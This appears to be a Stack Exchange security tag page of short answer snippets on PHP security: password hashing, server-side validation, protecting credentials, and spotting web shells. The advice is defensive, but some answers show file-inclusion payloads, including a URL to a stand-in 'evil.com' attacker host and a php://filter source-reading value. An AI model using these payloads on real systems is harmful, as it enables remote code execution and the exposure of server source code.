Tag Info

Hot answers tagged

17

General-purpose hashes have been obsolete for passwords for over a decade. The issue is that they're fast, and passwords have low entropy, meaning brute-force is very easy with any general-purpose hash. You need to use a function which is deliberately slow, like PBKDF2, bcrypt, or scrypt. Crackstation actually explains this if you read the whole page. On the ...


17

The "better way" is server-side validation, because you simply cannot control what the client will send. It does not matter what client-side method you use - <input maxlength=, javascript, what-have-you. To quote OWASP: Note that client side validation is a fine idea for performance and usability, but it has no security benefit whatsoever. Server ...


15

No a salt should not be derrived from other known parameters, a salt should be globally unique. So the best you can do is to generate a really random salt for each password. Todays operating systems have a "random source", on a deterministic computer it is the best you can do to read form this random source (DEV_URANDOM). Beside this, the SHA-* hash family ...


14

As @cpast says, the main problem of a single SHA-256 is that it is way too fast. An attacker with an off-the-shelf gaming GPU can try passwords at a rate that is counted in billions per second (American billions, but that's still a lot). Another problem is that there is potential for combining things improperly. SHA-256 is a hash function: it takes one ...


7

First things first If you suspect your server has been compromised, you should be implementing an Incident Response plan. There are lots of resources out there for putting a plan together, including a recently released "Criminal Division Guidance on Best Practices for Victim Response and Reporting Cyber Incidents" from the US Justice Department. Before you ...


6

There are two things wrong with what you are doing with what you are doing: your algorithm in it's simple form is fast and thus not suited for password hashing. (the properties you want in a password hashing algorithm is it being fast enough to run once, but slow if you need to run it several times as well as being unfriendly when being run on FPGA/ASICs ...


6

sha256 is not designed to hash passwords. To hash passwords, you should prefer to use hash functions created for this usage. You will find all required information below in another question addressing a similar request: Most secure password hash algorithm(s)?. In the above mentioned question, you will learn why general purpose hash functions like sha256 do ...


6

Yes, this is rogue. This script will execute any PHP code passed as plm12345plm POST parameter. This means, an attacker can execute arbitrary PHP and -- depending on the server configuration -- further code on your server. The first GIF89a line is likely placed to bypass basic file verification during upload of the script as a GIF image. If the file could ...


4

Yes, this is a PHP web shell. Eval should be the red flag. Basically, if the user can access this file on your server, they may be able to execute OS commands. If you have properly implemented your site, the attacker should not be able to trick PHP into executing the code in what I am assuming is a .GIF file. However, if I were you I would batten down ...


4

Nope. That's pretty much the best you can do on the client. The key is to have strong input validation on the server. Always treat all input as suspicious. Input validation on the client is to improve the user experience. The security happens on the server. PS: You could add JavaScript validation but it adds no real security because an attacker can bypass ...


4

A drawback of SHA1 is that it is fast, so it is easier to create rainbow tables and brute-force it. Adding a salt helps, but if the password is weak, then "number + weak password" may well be in the rainbow tables along with the password. PHP provides built-in password mechanisms. When you use these, the crypt function automatically generates a salt for you ...


4

First of all, you are not merely disclosing file content. You are executing it. If php is configured to allow URL inclusion the attacker can simply do file=http://evil.com/attackercode.txt and your script will execute the attackers code. Alternatively the attacker can perform a local file include by sending php code in request headers and do ...


3

Defence in depth is the keyword: Instead of just securing the credentials, ensure that even knowing the credentials is (almost) useless for an attacker. That means, use a dedicated user with the least required privileges (principle of least privilege) and restrict access with that user from the web server only. Then it doesn’t really matter where you keep ...


2

Modified PHP shell. Compromise is bad; shell's worse. Best have backups, nuke, change passwords, reload. Quick legwork: The string "FFSW3525KKSfj" trivially obtains this result, which is clearly inspired by the same codebase (containing all split base64 reference). Easy pivot from there is "ERROR! CANT DO NOTHING!". That discovers it's related to this ...


2

I good way to protect your keys is to put the php file with the credentials outside of the webroot. Even when the 'raw' php files are then served to a client, none of them include the database credentials. (does not protect against someone with file access on the server). Another defensive measure you can take is limiting the connections the Database ...


2

There is no danger in this specific part of the form. It seems that the developers have accidentally escaped the opening and closing PHP brackets, causing PHP code to be displayed as is. Now, this specific form instance doesn't allow us to do anything since it's just text being displayed... But it teaches us something very important about this site: user ...


2

For RFI you don't need null byte, simply match the file extension on the remote file, inject a ? Which turns the extension into query string, use URL rewriting, etc, etc. For LFI however you may be able to pre-pend a number of ././ or /./. to cause the total path to be too long and php will truncate it. This is trickier as it is is dependent and you will ...


1

if your shop is as compromised as you say here the only way to protect yourself is to start from scratch. A new Host (or reinstalled host), Install proper Defenses (like firewalls). Use a proper Webshop that have withstood Security tests (Drupal commerce for example, but I am biased towards drupal). I would also suggest you get a local Webshop Expert and ...


1

Blacklisting is rarely a good idea. A whitelist would be a better approach. Say you are using includes for language selection. Check whether file equals english, french, or german for example. Call die() if not. Then it does not matter if a user supplies http://example.com/evil.php, php://filter/convert.base64-encode/resource=filename.php or sql.php as your ...


1

The main issues are the default configuration and the low barrier of entry. The easiest way to deploy a PHP app is to install the inefficent horror called "Apache" with mod_php, throw the poorly-developed app into /var/www and watch the world burn. That will work, but is a security disaster. For example, a Node.js app runs as its own process, in its own ...


1

This code is parsing base64 encoded post data and running it as a script. My advice to you would be to pull the site that is affected down immediately as any data that is stored in the file system or any connected databases is now at risk. remove database users and prepare to clean up! There are many run throughs of what you should do in the event that ...


1

Passwords do not ever belong in source code, triply so for source code that is ever committed to a VCS. Anyone who has or has ever had access to the file has the password, including contractors, former employees, any VCS hosting service you use, etc. The simple answer is, retrieve the value from a configuration file (that is not stored in your repository) ...



Only top voted, non community-wiki answers of a minimum length are eligible